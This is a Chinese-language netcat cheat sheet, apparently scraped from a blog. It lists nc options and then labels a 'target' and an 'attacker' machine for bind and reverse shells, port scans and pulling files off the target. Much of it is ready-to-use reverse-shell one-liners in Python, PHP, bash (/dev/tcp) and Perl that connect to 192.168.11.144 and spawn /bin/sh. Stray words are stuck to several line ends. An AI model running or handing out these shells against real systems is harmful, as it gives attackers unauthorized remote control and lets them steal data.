netcat的使用

nc的使用

options:
 
-d              無命令行界面,使用後臺模式
 
-e prog          程序重定向 [危險!!]
 
-g gateway       源路由跳躍點, 不超過8
 
-G num          源路由指示器: 4, 8, 12, ...
 
-h              獲取幫助信息
 
-i secs           延時設置,端口掃描時使用
 
-l               監聽入站信息
 
-L              監聽知道NetCat被結束(可斷開重連)
 
-n              以數字形式表示的IP地址
 
-o file           使進制記錄
 
-p port          打開本地端口
 
-r               隨機本地和遠程的端口
 
-s addr          本地源地址
 
-t               以TELNET的形式應答入站請求
 
-u              UDP 模式
 
-v               顯示詳細信息 [使用=vv獲取更詳細的信息]
 
-w secs          鏈接超時設置
 
-z               I/O 模式 [掃描時使用]
 
端口號能夠是單個的或者存在一個範圍: m-n [包含值]。
遠程控制

A:靶機 B:攻擊機php

正向:
A:nc -lp 333 -c bash ;也能夠用-e cmd.exe或者-e /bin/bash
B:nc 1.1.1.1 333
反向:
B:nc -lp 333
A:nc 1.1.1.1 333 -c bashpython

注:Windows⽤用戶把bash改爲cmd;bash

端口掃描

nc -nvz 1.1.1.1 1-65535
nc –vnzu 1.1.1.1 1-1024socket

傳輸文件

攻擊機從靶機下載文件
A:nc -nv 1.1.1.1 333 < 1.mp4
B:nc -lp 333 > 1.mp4
攻擊機傳輸文件到靶機
B:nc -lp 333 < a.mp4
A: nc -nv 1.1.1.1 333 > 2.mp4tcp

傳輸目錄
A:tar -cvf - music/ | nc -lp 333 –q 1
B:nc -nv 1.1.1.1 333 | tar -xvf –命令行

目標沒有nc時
(python)
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.11.144",333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'code

本地:nc -lvp 333路由

(php)
php -r '$sock=fsockopen("192.168.11.144",2222);exec("/bin/sh -i <&3 >&3 2>&3");'get

(bash)
bash -i>&/dev/tcp/192.168.11.144/2222 0>&1cmd

(perl)

perl -e 'use Socket;$i="192.168.11.144";$p=2222;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

相關文章
相關標籤/搜索